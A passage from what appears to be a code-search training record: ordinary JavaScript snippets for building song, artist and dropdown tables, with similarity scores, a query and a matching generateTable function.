function(){\t\r\n\t\tif(this.readyState == 4 && this.status == 200){ //if its reggie\r\n\t\t\tlet data = JSON.parse(request.responseText);\r\n\t\t\t//set names equal to the data from the server\r\n\t\t\t\r\n\t\t\tnames = data;\r\n\t\t\tlet result = '<select name=\"restaurant-select\" id=\"restaurant-select\">';\r\n\t\t\tfor (let elem in names){\r\n\t\t\t\tresult += `<option value=\"${names[elem]}\">${names[elem]}</option>`\r\n\t\t\t}\r\n\t\t\tresult += \"</select>\";\r\n\t\t\tdocument.getElementById(\"restaurant-select\").innerHTML = result;\r\n\t\t\tdocument.getElementById(\"restaurant-select\").onchange = selectRestaurant;\r\n\t\t\tselectRestaurant();\r\n\t\t}\r\n\t}\r\n\trequest.open(\"GET\",\"http://localhost:3000/restaurant-names\",true);\r\n\trequest.send();\r\n\t\r\n\t//Create dropdown list by returning the inner html based on the names array\r\n\r\n\t\r\n}", "function populateList(choices) {\n // first empty the list\n acList.empty();\n // then add all choices as children\n choices.forEach( function(optionText) {\n var opt = $('<div>');\n opt.width(200);\n opt.html(optionText);\n opt.css('color', 'blue');\n opt.css('border', '1px solid blue');\n opt.css('background-color','white');\n opt.on('mouseover', function(){opt.css('background-color', 'yellow')});\n opt.on('mouseout', function(){opt.css('background-color', 'white')});\n opt.on('click', function(){\n acInput.val(optionText);\n if(options.click) options.click(optionText);\n acList.empty();\n });\n acList.append(opt);\n });\n }", "function buildList(dropdown, list) {\n let divisionPicked = sessionStorage.getItem(\"divisionPick\");\n\n for(let i = 0; i < list.length; i++) {\n if(divisionPicked == list[i].Code) {\n let element = $(\"<option>\", {text: list[i].Name, value: list[i].Code, selected: \"selected\"});\n dropdown.append(element);\n }\n else {\n let element = $(\"<option>\", {text: list[i].Name, value: list[i].Code});\n dropdown.append(element);\n }\n }\n}", "function load_dropdowns() {\n var province, region, variety;\n\n // reset dropdowns\n document.getElementById(\"province_dropfield\").innerHTML = \"\";\n document.getElementById(\"region_dropfield\").innerHTML = \"\";\n document.getElementById(\"variety_dropfield\").innerHTML = \"\";\n\n // get inputs if already set\n if(document.getElementById(\"prov_input\").value)\n province = document.getElementById(\"prov_input\").value;\n if(document.getElementById(\"reg_input\").value)\n region = document.getElementById(\"reg_input\").value;\n if(document.getElementById(\"var_input\").value)\n variety = document.getElementById(\"var_input\").value;\n\n if(this.id == \"prov_input\")\n set_prov_dropdown(region, variety);\n\n if(this.id == \"reg_input\")\n set_reg_dropdown(province, variety);\n\n if(this.id == \"var_input\")\n set_var_dropdown(province, region);\n}" ]
[ "0.7683583", "0.7515338", "0.739814", "0.728176", "0.7196873", "0.7145366", "0.70654005", "0.70582277", "0.7023588", "0.6965548", "0.69235736", "0.68878144", "0.6868923", "0.68572986", "0.6840816", "0.6824319", "0.68031234", "0.67952955", "0.6793283", "0.6768437", "0.6763249", "0.6761505", "0.6752047", "0.6728507", "0.6720721", "0.67086464", "0.6691312", "0.6685482", "0.66778696", "0.66614836", "0.66488624", "0.6646011", "0.66387033", "0.66318125", "0.66315895", "0.6631042", "0.6620483", "0.6606926", "0.66066", "0.6601579", "0.6594182", "0.6587871", "0.65711415", "0.65682435", "0.6547812", "0.65422636", "0.6532272", "0.6523451", "0.6522624", "0.6521336", "0.6520574", "0.6513266", "0.6508008", "0.6501253", "0.64994687", "0.6499057", "0.64972085", "0.6491385", "0.64851207", "0.64835405", "0.6479322", "0.647039", "0.6462696", "0.6456173", "0.645333", "0.6452308", "0.64437324", "0.6440345", "0.6439057", "0.6436901", "0.6417292", "0.64118224", "0.6405314", "0.6403009", "0.6395707", "0.63923186", "0.63911366", "0.6375309", "0.6357422", "0.6355938", "0.6352623", "0.6339967", "0.6336475", "0.63337725", "0.633343", "0.6326782", "0.632666", "0.631877", "0.631349", "0.63052994", "0.6302179", "0.62979835", "0.6293168", "0.62926453", "0.6286083", "0.62781376", "0.6277964", "0.62774515", "0.6274376", "0.62701166" ]
0.6424289
70
Function that builds the table with song information.
function generateTable(performer = 'All', song = 'All', year = 'All', peakpos = 'All') { if (song == 'All' && performer == 'All' && year == 'All' && peakpos == 'All') { // Need to build query to gather information and the dropdown menus url = local + "/get_top100_sql/search/*"; first = true } else { // Need to build query to gather information. songParms = "name=" + song + "/performer=" + performer + "/chartyear=" + year + "/top_position=" + peakpos url = local + "/get_top100_sql/search/" + songParms; } populateTable(url); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function fillTable() {\n for (let i in songsToAdd) {\n // console.log('index = ', songsToAdd[i]);\n const newtr = document.createElement('tr');\n\n let audio = document.createElement('audio');\n audio.src = songsToAdd[i].url;\n audio.setAttribute(\"id\", \"player\" + i);\n newtr.appendChild(audio);\n var colonne1 = newtr.insertCell(0);//on a une ajouté une cellule\n colonne1.innerHTML += i ;//on y met le nr de la musique\n var colonne2 = newtr.insertCell(1);//on a une ajouté une cellule\n\t colonne2.innerHTML += '<i class=\"far fa-heart\">';// icone like\n var colonne3 = newtr.insertCell(2);//on a une ajouté une cellule\n colonne3.innerHTML += songsToAdd[i].name;//on y met le titre\n var colonne3 = newtr.insertCell(3);//on a une ajouté une cellule\n colonne3.innerHTML += songsToAdd[i].artist;//on y met l'artiste\n var colonne4 = newtr.insertCell(4);//on a une ajouté une cellule\n colonne4.innerHTML += songsToAdd[i].duration;//on y met la durée du son\n var colonne5 = newtr.insertCell(5);//on a une ajouté une cellule\n colonne5.innerHTML += \"|||||\";//on y met les % de like\n \n // colonne6.style.display = hidden;\n\n newtr.setAttribute(\"id\", \"song\" + i)\n playlist_body.appendChild(newtr);\n\n }\n\n }", "function rowFromDirSong(i, song) {\n var tags = song.sgTags;\n var artist = getTag(tags.Artist);\n var file = song.sgFilePath.replace(/^.*[\\\\\\/]/, '');\n var title = getTag(tags.Title, file);\n var dur = secToTime(parseInt(song.sgLength, 10));\n var r = '<tr>'\n r += '<td>'+icon('music')+'</td>';\n r+='<td onclick=\"onDirAddClick('+i+');fadeOutIn(this);\" style=\"cursor:pointer;\">';\n if (artist != '')\n r += artist + ' - ';\n r += title + '</td><td>' + dur + '</td>';\n r += '<td></td>';\n r += '</tr>';\n return r;\n}", "function spotifyIt(song) {\n // work on it\n if (song === \"\") {\n song = \"The Sign\";\n }\n\n spotify.search({ type: \"track\", query: song, limit: 1 }, function(err, data) {\n if (err) {\n return console.log(\"Error occurred: \" + err);\n }\n\n let tableArray = [];\n for (let i = 0; i < data.tracks.items.length; i++) {\n let result = {\n artist: data.tracks.items[i].album.artists[0].name,\n song_name: data.tracks.items[i].name,\n preview_url: data.tracks.items[i].preview_url,\n album_name: data.tracks.items[i].album.name\n };\n tableArray.push(result);\n }\n\n console.log(tableArray);\n });\n}", "function rowFromSong(song) {\n var tags = song.sgTags;\n var artist = getTag(tags.Artist);\n var file = song.sgFilePath.replace(/^.*[\\\\\\/]/, '');\n var title = getTag(tags.Title, file);\n var dur = secToTime(parseInt(song.sgLength, 10));\n var r = '<tr>'\n r += '<td class=\"sort-drag\" style=\"cursor:move;\">'+(song.sgIndex+1)+'</td>';\n r+='<td onclick=\"onQueuePlay('+song.sgIndex+')\" style=\"cursor:pointer;\">';\n if (artist != '')\n r += artist + ' - ';\n r += title + '</td><td>' + dur + '</td>';\n r += '<td>' +icon('trash','onQueueTrash('+song.sgIndex+');fadeOutIn(this);') +'</td>';\n r += '</tr>';\n return r;\n}", "function fillTracksTable()\n{\n\tviewSort(\"trackActions\");\n\t// Get the (existing) table\n\tvar table = document.getElementById(\"topTracksTable\");\n\t\t\n\t// Add a row for each item\n\tfor (var i = 0; i < tracks.length; i++) {\n\t\t// New row\n\t\tvar tr = document.createElement(\"tr\");\n\t\t\n\t\t// Left hand cell, containing image\n\t\tvar td1 = document.createElement(\"td\");\n\t\tvar img = document.createElement(\"img\");\n\t\timg.setAttribute(\"src\", tracks[i].imgUrl);\n\t\ttd1.appendChild(img);\n\t\t\n\t\t// Right hand cell, containing item details\n\t\tvar td2 = document.createElement(\"td\");\n\n\t\t// Title\n\t\tvar divTitle = document.createElement(\"div\");\n\t\tvar link = document.createElement(\"a\");\n\t\tlink.setAttribute(\"href\", tracks[i].url);\n\t\tlink.innerHTML = tracks[i].name;\n\t\tdivTitle.appendChild(link);\n\t\ttd2.appendChild(divTitle);\n\n\t\t//artist details\n\t\tvar divArtist = document.createElement(\"div\");\n\t\tvar artistlink = document.createElement(\"a\");\n\t\tartistlink.setAttribute(\"href\", tracks[i].artistUrl);\n\t\tartistlink.innerHTML = \"<b> Artist: </b>\" + tracks[i].artistName;\n\t\tdivArtist.appendChild(artistlink);\n\t\ttd2.appendChild(divArtist);\n\n\t\t//duration\n\t\tvar divDuration = document.createElement(\"div\");\n\t\tdivDuration.className = \"duration\";\n\t\tdivDuration.innerHTML = \"<b> Duration : </b>\" + tracks[i].duration + \"seconds\";\n\t\ttd2.appendChild(divDuration);\n\n\t\t// listeners\n\t\tvar divListeners = document.createElement(\"div\");\n\t\tdivListeners.className = \"listeners\";\n\t\tdivListeners.innerHTML = \"<b>Number of listens: </b>\" + tracks[i].listeners;\n\t\ttd2.appendChild(divListeners);\n\n\t\t// Play count\n\t\tvar divPlayCount = document.createElement(\"div\");\n\t\tdivPlayCount.innerHTML = \"<b>Play Count: </b>\" +tracks[i].playCount;\n\t\ttd2.appendChild(divPlayCount);\n\n\t\ttr.appendChild(td1);\n\t\ttr.appendChild(td2);\n\t\ttable.appendChild(tr);\n\t}\n}", "function makeTableWork() {\n appendArrays();\n \n //REMOVE ALL ROWS IN TABLE\n $(\"#main-table tbody tr\").remove();\n //////////////////////////\n \n for (let itemNum in allSongsArray) {\n addRows(itemNum);\n } \n}", "function buildTables() {\n var headings = [\"Course ID\", \"Course\", \"Course Tutor\", \"Credits\", \"Duration (Year)\"];\n return \"<h3>Course Information:</h3>\" + getTable(headings);\n}", "function buildTable(data) {\n // Remove table if it exists\n var deleteTable = d3.select(\"#table\");\n deleteTable.remove();\n\n var table = d3.select(\"#sample-metadata\").append('table');\n table.attr('class', 'table').attr('class', 'table-condensed');\n table.attr('id', 'table')\n var tbody = table.append(\"tbody\");\n var trow;\n for (const [key, value] of Object.entries(data)) {\n trow = tbody.append(\"tr\");\n var td = trow.append(\"td\").append(\"b\");\n td.text(`${key}:`);\n trow.append(\"td\").text(value);\n\n }\n }", "function _buildTable() {\n\n var templateString = media.reduce((html, file, index) => {\n return html + template(file, index);\n }, '');\n\n\n mediaTable.innerHTML = templateString;\n\n }", "function addToPlaylist(songsList){\n for(var i=0; i<songsList.length; i++){\n // Getting metadata for the audio file\n id3({ file: songsList[i].toString(), type: id3.OPEN_LOCAL }, function(err, tags) {\n if(tags){\n tableRow = document.createElement(\"tr\")\n rowElement = document.createElement(\"td\")\n textElement = document.createTextNode(tags.title)\n rowElement.appendChild(textElement)\n tableRow.appendChild(rowElement)\n rowElement = document.createElement(\"td\")\n textElement = document.createTextNode(tags.album)\n rowElement.appendChild(textElement)\n tableRow.appendChild(rowElement)\n rowElement = document.createElement(\"td\")\n textElement = document.createTextNode(tags.artist)\n rowElement.appendChild(textElement)\n tableRow.appendChild(rowElement)\n tableRow.setAttribute(\"id\", i)\n document.getElementById('playlist-body').appendChild(tableRow)\n }\n });\n }\n}", "function populateMusicTable(response) {\n var jsonResponse = JSON.parse(response);\n \n clearTableContent(document.getElementById('music_list_table'));\n var tableBody = document.getElementById('playlist_table');\n \n for (var id in jsonResponse) {\n var result = jsonResponse[id];\n \n tableRow = document.createElement('tr');\n tableRow.setAttribute('data-mpeg', result['path']);\n tableRow.setAttribute('data-id', id);\n \n rowButton = document.createElement('td');\n rowButton.innerHTML = '<button type=\"button\" class=\"play_this btn btn-default\" click=\"playItem(this.parentNode)\"><span class=\"fa fa-play\"></span></button>';\n tableRow.appendChild(rowButton);\n \n rowTitle = document.createElement('td');\n rowTitle.innerHTML = result['title'];\n tableRow.appendChild(rowTitle);\n \n rowAlbum = document.createElement('td');\n rowAlbum.innerHTML = result['album'];\n tableRow.appendChild(rowAlbum);\n \n rowArtist = document.createElement('td');\n rowArtist.innerHTML = result['artist'];\n tableRow.appendChild(rowArtist);\n \n rowPlaylist = document.createElement('td');\n rowPlaylist.innerHTML = '<button class=\"btn btn-default modal-opener\" data-target=\"#man-modal\"><span class=\"fa fa-pencil\"></span></button>';\n tableRow.appendChild(rowPlaylist);\n \n tableBody.appendChild(tableRow);\n }\n \n return tableBody;\n}", "function buildTable(rank, title, artist) {\n var table = d3.select(\"#summary-table\");\n var tbody = table.select(\"tbody\");\n var trow;\n tbody.html(\"\")\n for (var i = 0; i < 50; i++) {\n trow = tbody.append(\"tr\");\n trow.append(\"td\").text(rank[i]);\n trow.append(\"td\").text(title[i]);\n trow.append(\"td\").text(artist[i]);\n \n }\n }", "function buildTable(){\n\n clearTable();\n\n if(! cart.isEmpty()){\n addHeadingsToTable();\n for(item of cart){\n addItemToTable(item);\n }\n addTotalToTable();\n }\n else{\n addEmptyCartMessage();\n }\n}", "function buildTable(meta_id, ethnicity, gender, age, location, bbtype, wfreq) {\n var table = d3.select(\"#sample-metadata\");\n d3.select(\"#sample-metadata\").html(\"\");\n table.append(\"tbody\").text(\"ID: \" + meta_id);\n if (ethnicity !== null) {\n table.append(\"tbody\").text(\"Ethnicity: \" + ethnicity);\n };\n if (gender !== null) {\n table.append(\"tbody\").text(\"Gender: \" + gender);\n };\n if (age !== null) {\n table.append(\"tbody\").text(\"Age: \" + age);\n };\n if (location !== null) {\n table.append(\"tbody\").text(\"Location: \" + location);\n };\n if (bbtype !== null) {\n table.append(\"tbody\").text(\"bbtype: \" + bbtype);\n };\n if (wfreq !== null) {\n table.append(\"tbody\").text(\"wfreq: \" + wfreq);\n };\n\n }", "function buildTable(){\n\n}", "function Album(props) {\n console.log(props);\n let tables = props.tracks.map((cd,i) => {\n let tracksList = cd.map((item, i) => {\n return (\n <Track key={i} track={item} onFavoriteClick={props.handleFavorite} onSongClick={props.handleAudio} favorite={props.favorites.includes(item.id)} />\n );\n });\n return(\n <div className=\"row justify-content-center\" key={i}>\n <div className=\"table-container col-8\" >\n <div className=\"table-responsive\">\n <table className=\"table table-striped table-hover table-dark table-sm\">\n <thead className=\"thead-light\">\n <tr>\n <th scope=\"col\">CD {i + 1}</th>\n <th scope=\"col\"><SortTable handleSortClick={props.handleSortClick} /></th>\n </tr>\n </thead>\n <tbody>\n {tracksList}\n </tbody>\n </table>\n </div>\n </div>\n </div>\n )\n })\n return(\n <div className=\"tables-container\">\n {tables}\n </div>\n )\n}", "function displayLandingPageSongs(array){\r\n let songsInfo = array;\r\n _songListDisplay.innerHTML = \"\";\r\n \r\n //append the titlehead of the table and append the table dynamically \r\n _songListDisplay.innerHTML = \"<tr><th>Title</th><th>Album</th><th>Artist</th><th>Song</th></tr>\" \r\n \r\n for(let i = 0; i < songsInfo.length; i++){\r\n _songListDisplay.innerHTML += \"<tr><td>\" + songsInfo[i].trackName + \"</td><td>\" + songsInfo[i].trackAlbum + \"</td><td>\" + songsInfo[i].trackArtist + \"</td><td><a class='play-btn'>Play</a><audio controls class='audio-tag'><source src='\" + songsInfo[i].trackSource + \"' type='audio/mpeg'></audio></td></tr>\";\r\n }\r\n \r\n //remove the contol attribute of the all audio tag\r\n for(var i = 0; i < _audioElements.length; i++){\r\n _audioElements[i].controls = false;\r\n _audioElements[i].load();\r\n }\r\n \r\n}", "function buildSongDOM(songInfo){\n var songArtist = getSongArtist(songInfo);\n var songName = getSongName(songInfo);\n var trackStatus = 'comingUp';\n if (songInfo.status == 'prev') {\n trackStatus = 'alreadyPlayed';\n }\n else if (songInfo.status == 'cur') {\n trackStatus = 'currentlyPlaying';\n }\n\n var songId = songInfo.id;\n var voteUp = \"voteForSong(\" + songId + \", 1)\";\n var voteDown = \"voteForSong(\" + songId + \", -1)\";\n\n var trackDOM = \"<div class='song box \" + trackStatus + \"' style='position: relative;\";\n trackDOM += \" background-color: #303030; float: left' id='\"+ songId + \"_songDiv'>\";\n trackDOM += \"<img src='../images/album-placeholder.png'\";\n trackDOM += \" style='float: left; margin: 5px; height: 40px; width: 40px'>\";\n trackDOM += \"<div style='float: left; padding-left: 10px; margin: 5px'>\";\n trackDOM += songName + \"<br>\" + songArtist + \"</div>\";\n if(trackStatus == 'comingUp'){\n trackDOM += \"<div style='position:absolute; bottom:5px; right: 10px'>\";\n trackDOM += \"<a href='#' onClick='\" + voteUp + \"'>good</a> \";\n trackDOM += \"<a href='#' onClick='\" + voteDown + \"'>bad</a></div>\";\n }\n trackDOM += \"</div>\";\n\n return trackDOM;\n}", "function fillArtistsTable()\n{\n\tviewSort(\"artistActions\");\n\t// Get the (existing) table\n\tvar table = document.getElementById(\"topArtistsTable\");\n\n\t// Add a row for each item\n\tfor (var i = 0; i < artists.length; i++) {\n\t\t// New row\n\t\tvar tr = document.createElement(\"tr\");\n\t\t\n\t\t// Left hand cell, containing image\n\t\tvar td1 = document.createElement(\"td\");\n\t\tvar img = document.createElement(\"img\");\n\t\timg.setAttribute(\"src\", artists[i].imgUrl);\n\t\ttd1.appendChild(img);\n\t\t\n\t\t// Right hand cell, containing item details\n\t\tvar td2 = document.createElement(\"td\");\n\t\t\n\t\t// Title\n\t\tvar divTitle = document.createElement(\"div\");\n\t\tvar link = document.createElement(\"a\");\n\t\tlink.setAttribute(\"href\", artists[i].url);\n\t\tlink.innerHTML = artists[i].name;\n\t\tdivTitle.appendChild(link);\n\t\ttd2.appendChild(divTitle);\n\n\t\t// listeners\n\t\tvar divListeners = document.createElement(\"div\");\n\t\tdivListeners.className = \"listeners\";\n\t\tdivListeners.innerHTML = \"<b>Number of listens: </b>\" + artists[i].listeners;\n\t\ttd2.appendChild(divListeners);\n\n\t\t// Play count\n\t\tvar divPlayCount = document.createElement(\"div\");\n\t\tdivPlayCount.innerHTML = \"<b>Play Count: </b>\" +artists[i].playCount;\n\t\ttd2.appendChild(divPlayCount);\n\n\t\ttr.appendChild(td1);\n\t\ttr.appendChild(td2);\n\t\ttable.appendChild(tr);\n\t}\n}", "function constructSongData() {\n\tvar data = {};\n\n\tvar staffHolder = document.querySelector('.js-staff-holder');\n\tvar staffKeys = staffHolder.querySelector('.js-staff-keys');\n\tvar staffs = staffHolder.querySelector('.js-staffs');\n\tvar instrumentList = document.querySelector('.js-instruments');\n\n\tvar numStaffs = staffs.children.length;\n\tvar numInstruments = instrumentList.children.length;\n\n\t// Get time signature\n\tdata.timeSignature = pullTimeSignature();\n\n\t// Get tempo\n\tdata.tempo = pullTempo();\n\n\tdata.noteBufferLength = pullNoteBufferLength();\n\n\t// Get instruments info\n\tdata.instruments = {};\n\n\tfor (var i = 0; i < numInstruments; ++i) {\n\t\tdata.instruments[i] = {};\n\t\tdata.instruments[i].name = instrumentList.children[i].querySelector('.js-instrument').value;\n\t\tdata.instruments[i].pack = instrumentList.children[i].querySelector('.js-pack').value;\n\t}\n\n\tdata.notes = {};\n\n\t// Get notes from each staff\n\tfor (var i = 0; i < numStaffs; ++i) {\n\t\tvar staff = staffs.children[i];\n\t\tvar staffKey = staffKeys.children[i];\n\n\t\t// Get note labels\n\t\tvar numNoteLabels = staffKey.children.length;\n\n\t\tvar noteLabels = [];\n\t\tnoteLabels[0] = Note.raiseHalfStep(staffKey.children[1].innerHTML);\n\n\t\tfor (var j = 1; j < numNoteLabels - 1; ++j) {\n\t\t\tnoteLabels[j] = staffKey.children[j].innerHTML;\n\t\t}\n\n\t\tnoteLabels[numNoteLabels - 1] = Note.lowerHalfStep(staffKey.children[numNoteLabels - 2].innerHTML);\n\n\t\t// Scrape info from all staff children\n\t\tvar numStaffChildren = staff.children.length;\n\n\t\tdata.notes[i] = [];\n\n\t\tfor (var j = 0; j < numStaffChildren; ++j) {\n\t\t\tvar child = staff.children[j];\n\t\t\tvar note = {};\n\n\t\t\tvar volInput = child.querySelector('.vol-input');\n\n\t\t\tif (volInput != undefined) {\n\t\t\t\tnote.type = \"volume\";\n\t\t\t\tnote.volume = parseInt(volInput.value);\n\t\t\t}\n\t\t\telse {// is note or rest\n\t\t\t\tvar noteToggler = child.querySelector('.note-toggler');\n\t\t\t\tvar noteTogglerBGColor = noteToggler.style.backgroundColor;\n\t\t\t\tvar notesHolder = child.querySelector('.notes');\n\n\t\t\t\tif (noteTogglerBGColor == stateColors[2]) {\n\t\t\t\t\tnote.type = 'rest'\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tnote.type = 'note';\n\n\t\t\t\t\tif (noteTogglerBGColor == stateColors[1]) {\n\t\t\t\t\t\tnote.tie = true;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tnote.tie = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Get pitches\n\t\t\t\tvar pitchList = [];\n\n\t\t\t\tvar numNoteOptions = notesHolder.children.length;\n\t\t\t\tfor (var k = 0; k < numNoteOptions; ++k) {\n\t\t\t\t\tvar noteBGColor = notesHolder.children[k].children[0].style.backgroundColor;\n\t\t\t\t\t// ^ .children[0] to grab the interior div\n\n\t\t\t\t\tif (noteBGColor == onColor) {\n\t\t\t\t\t\tpitchList.push(noteLabels[k]);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Make the note a rest if no notes are marked\n\t\t\t\tif (pitchList.length === 0) {\n\t\t\t\t\tnote.type = 'rest';\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tnote.pitches = pitchList;\n\t\t\t\t}\n\n\t\t\t\t// Get rhythm\n\t\t\t\tvar noteWidth = notesHolder.offsetWidth;\n\n\t\t\t\tfor (var prop in noteLengths) {\n\t\t\t\t\tif (noteLengths[prop] == noteWidth) {\n\t\t\t\t\t\tnote.rhythm = prop;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tdata.notes[i].push(note);\n\t\t}\n\t}\n\n\t// console.log(data);\n\t// console.log(JSON.stringify(data));\n\n\treturn data;\n}", "function updateAlbumTable(){\n\n\tif(databaseObj){\n\t\tvar albumTable = document.getElementById(\"albumTable\");\n\t\tif(albumTable){\n\t\t\t// Clear album table\n\t\t\talbumTable.innerHTML = '';\n\t\t\tvar tdPerRow = 4;\n\t\t\tvar rowTotal = databaseObj.length/tdPerRow;\n\n\t\t\tfor(var i = 0; i < rowTotal; i++){\n\n\t\t\t\tvar albumTr\t= document.createElement(\"tr\");\n\t\t\t\talbumTable.appendChild(albumTr);\n\t\t\t\tfor(var j = 0; j < tdPerRow; j++){\n\n\t\t\t\t\t// Break if all photos are loaded\n\t\t\t\t\tif((i * tdPerRow + j) >= databaseObj.length)\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tvar description = databaseObj[i * tdPerRow + j].description;\n\n\t\t\t\t\tif(description == \"\"){\n\t\t\t\t\t\tdescription = \"\";\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\talbumTr.appendChild(createTd(databaseObj[i * tdPerRow + j].filename, description, databaseObj[i * tdPerRow + j].thumbnail_width, databaseObj[i * tdPerRow + j].thumbnail_height));\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}else{\n\t\tconsole.log(new Date());\n\t}\n}", "function makeTable(data) {\n // Log what is returned\n console.log(data);\n\n // Build table elements\n // Use a for loop to include the results in list items\n let list = \"<tr>\";\n for (let i = 0; i <= 3; i++) {\n list += \"<td>\" + data.Table[i] + \"</td>\";\n console.log('tracks data:');\n console.log(data.Table[i]);\n };\n list += \"</tr>\";\n scrollbar.innerHTML = list;\n}", "function addSong(songName, frequency, id, artist){\n\t var tbl = document.getElementById('songList'), // table reference\n row = tbl.insertRow(tbl.rows.length), // append table row\n i;\n // insert table cells to the new row\n\t\n\t\tcreateCell(row.insertCell(0), frequency, 'row');\n createCell(row.insertCell(1),songName , 'row');\n\t\t// createCell(row.insertCell(2),frequency, 'row');\n\trow.setAttribute(\"name\", songName);\n row.setAttribute(\"id\", id);\n row.setAttribute(\"onclick\", \"showLyrics(\"+id+\")\");\n console.log(artist);\n row.setAttribute(\"artist\", artist);\n}", "function buildTable(data) {\n\n var table = document.createElement(\"TABLE\");\n\n var keyList = Object.keys(data[0]);\n\n \n\n var row = document.createElement(\"TR\");\n\n table.appendChild(row);\n\n for(var i in keyList) {\n\n var tableHeadingName = document.createTextNode(keyList[i]);\n\n var tableHeading = document.createElement(\"TH\");\n\n row.appendChild(tableHeading);\n\n tableHeading.appendChild(tableHeadingName);\n\n }\n\n \n\n for(var i in data) {\n\n var mountainInfo = data[i];\n\n var row = document.createElement(\"TR\");\n\n table.appendChild(row);\n\n for(var j in mountainInfo) {\n\n var info = document.createTextNode(mountainInfo[j]);\n\n var col = document.createElement(\"TD\");\n\n row.appendChild(col);\n\n col.appendChild(info);\n\n }\n\n } \n\n return table; \n\n }", "function albumTracksToTable (pl, target, uri) {\n var tmp = '<ul class=\"songsOfAlbum table\" >'\n var liId = ''\n var targetmin = target.substr(1)\n $(target).empty()\n for (var i = 0; i < pl.length; i++) {\n popupData[pl[i].uri] = pl[i]\n liID = targetmin + '-' + pl[i].uri\n tmp += renderSongLi(pl[i], liID, uri)\n }\n tmp += '</ul>'\n $(target).html(tmp)\n $(target).attr('data', uri)\n}", "function getSongData(sample) {\n \n d3.json(url).then(function(data) {\n var rank = []\n var title = []\n var artist = []\n var filteredTable = data[0][sample]\n // console.log(filteredTable)\n filteredTable.forEach(song => { \n rank.push(song[\"Rank\"])\n title.push(song[\"Title\"])\n artist.push(song[\"Artists\"])\n \n });\n console.log(rank)\n buildTable(rank, title, artist);\n })\n}", "function renderTable() {\n clearTable();\n sortInfo();\n info.filter(rowInfo => (showNoPlaybacks || rowInfo.mediaPlaybacks > 0))\n .forEach(rowInfo => engagementTableBody.appendChild(createRow(rowInfo)));\n}", "function populatePlaylists(){\n for(i = 0; i < savedPlaylists.length; i++){\n tableRow = document.createElement(\"tr\")\n rowElement = document.createElement(\"td\")\n textElement = document.createTextNode(savedPlaylists[i].name)\n rowElement.appendChild(textElement)\n tableRow.appendChild(rowElement)\n rowElement = document.createElement(\"td\")\n textElement = document.createTextNode(savedPlaylists[i].songs.length)\n rowElement.appendChild(textElement)\n tableRow.appendChild(rowElement)\n rowElement = document.createElement(\"td\")\n textElement = document.createTextNode(\"1000\")\n rowElement.appendChild(textElement)\n tableRow.appendChild(rowElement)\n rowElement = document.createElement(\"td\")\n textElement = document.createTextNode(\"Play\")\n rowElement.appendChild(textElement)\n rowElement.setAttribute(\"id\", \"column\"+i)\n tableRow.appendChild(rowElement)\n tableRow.setAttribute(\"id\", i)\n document.getElementById('saved-playlist-body').appendChild(tableRow)\n }\n}", "function _init_my_job_and_quote_count_info_table(db){\n db.execute('CREATE TABLE IF NOT EXISTS my_job_and_quote_count_info('+\n 'id INTEGER PRIMARY KEY autoincrement,'+\n 'date TEXT,'+\n 'job_count INTEGER,'+\n 'quote_count INTEGER)'); \n }", "function show_artists(data) {\n $(\"table\").remove(); // remove the previous elements\n for (val in data) {\n // add table, and generic buttons for each artist\n var mylist = $(\"<table></table>\");\n mylist.append(\"<br>\");\n mylist.append($(\"<tr></tr>\"));\n var button1 = $('<input class=\"delart\" id=\"' + data[val].id + '\" type=\"button\" value=\"delete artist\">');\n mylist.append(button1);\n var button2 = $('<input class=\"addsong\" id=\"' + data[val].id + '\" type=\"button\" value=\"add song\">');\n mylist.append(button2);\n var input = $('<input class=\"in\" id=\"in' + data[val].id + '\" type=\"input\" placeholder=\"Song name...\">');\n mylist.append(input);\n mylist.append($(\"<tr></tr>\"));\n for (i in data[val]) {\n // ignore the mongo information\n if (data[val][i] == data[val]._id || data[val][i] == data[val].createdAt ||\n data[val][i] == data[val].updatedAt || data[val][i] == data[val].__v) {\n continue;\n }\n mylist.append($(\"<tr></tr>\"));\n mylist.append($(\"<th></th>\").text(i));\n\n if (data[val][i] == data[val].picture) {\n mylist.append('<img src=\"' + data[val][i] + '\">');\n continue;\n }\n // if this is the songs field --> need another table\n if (Array.isArray(data[val][i])) {\n var songs = $(\"<table></table>\");\n for (j in data[val][i]) {\n songs.append($(\"<tr></tr>\"));\n songs.append($(\"<td></td>\").text(data[val][i][j]));\n songs.append($(\"<td></td>\"));\n var button = $('<input class=\"deletebtn\" id=\"' + data[val].id + \"del\" + j + '\" type=\"button\" value=\"delete\">');\n songs.append(button);\n }\n songs.appendTo(mylist);\n continue;\n }\n // else --> append the field and value\n mylist.append($(\"<td></td>\").text(data[val][i]));\n }\n // add space between artists\n mylist.append($(\"<tr></tr>\"));\n mylist.append(\"<br>\");\n mylist.appendTo($(\"#artists_list\"));\n }\n\n // add event listeners\n $(\".delart\").click(function(e) {\n delArtist(e);\n });\n $(\".addsong\").click(function(e) {\n if ($(\"#in\" + e.target.id).val() == '') return;\n addSong(e);\n });\n $(\".deletebtn\").click(function(e) {\n delSong(e);\n });\n}", "function displaySongInfo() {\n songs.forEach(function(song) {\n $(\"#songs\").append(`<p>${song}</p>`);\n });\n images.forEach(function(image) {\n $(\"#images\").append(`<img src=\"${image}\">`);\n });\n artists.forEach(function(artist) {\n $(\"#artists\").append(`<p>${artist}</p>`);\n });\n lengths.forEach(function(length) {\n $(\"#lengths\").append(`<p>${length}</p>`);\n });\n links.forEach(function(link) {\n $(\"#links\").append(`<a href=${link}>Youtube Link</a>`);\n });\n}", "function initTable(meta_id, ethnicity, gender, age, location, bbtype, wfreq) {\n var table = d3.select(\"#sample-metadata\");\n table.append(\"tbody\").text(\"ID: \" + meta_id[0]);\n table.append(\"tbody\").text(\"Ethnicity: \" + ethnicity[0]);\n table.append(\"tbody\").text(\"Gender: \" + gender[0]);\n table.append(\"tbody\").text(\"Age: \" + age[0]);\n 